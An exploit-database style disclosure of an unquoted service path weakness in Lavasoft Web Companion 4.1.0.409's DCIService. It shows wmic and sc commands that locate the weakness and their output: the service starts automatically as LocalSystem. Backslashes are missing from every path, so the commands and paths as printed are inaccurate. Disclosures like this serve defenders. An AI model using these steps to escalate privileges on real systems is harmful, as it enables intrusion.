Lavasoft version 4.1.0.409 suffers from an unquoted service path vulnerability.
#Exploit Title: Lavasoft web companion 4.1.0.409 - 'DCIservice' Unquoted Service Path
# Author: P4p4 M4n3
# Discovery Date: 25-11-2022
# Vendor Homepage: https://webcompanion.com/en/
# Version 4.1.0.409
# Tested on: Microsoft Windows Server 2019 Datacenter x64
# Description:
# Lavasoft 4.1.0.409 install DCIservice as a service with an unquoted service path
# POC https://youtu.be/yb8AavCMbes
#Discover the Unquoted Service path
C:Usersp4p4> wmic service get name,pathname,startmode | findstr /i "auto" | findstr /i /v "c:windows" | findstr /i /v """
DCIService C:Program Files (x86)LavasoftWeb CompanionServicex64DCIService.exe Auto
C:Usersp4p4> sc qc DCIService
[SC] QueryServiceConfig réussite(s)
SERVICE_NAME: DCIService
TYPE : 10 WIN32_OWN_PROCESS
START_TYPE : 2 AUTO_START
ERROR_CONTROL : 1 NORMAL
BINARY_PATH_NAME : C:Program Files (x86)LavasoftWeb CompanionServicex64DCIService.exe
LOAD_ORDER_GROUP :
TAG : 0
DISPLAY_NAME : DCIService
DEPENDENCIES :
SERVICE_START_NAME : LocalSystem